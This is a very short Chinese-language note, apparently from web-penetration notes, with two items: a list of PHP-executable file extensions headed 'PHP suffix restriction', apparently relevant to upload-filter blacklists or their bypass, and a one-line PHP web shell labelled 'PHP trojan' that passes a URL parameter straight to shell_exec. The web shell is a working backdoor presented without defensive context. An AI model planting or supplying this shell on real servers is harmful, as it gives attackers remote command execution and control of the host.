1.php后缀限制
'php,php3,php4,php5,php6,php7,phpsh,inc,phtml','PHT';
2.php木马
<?php echo shell_exec($_GET['cmd']); ?>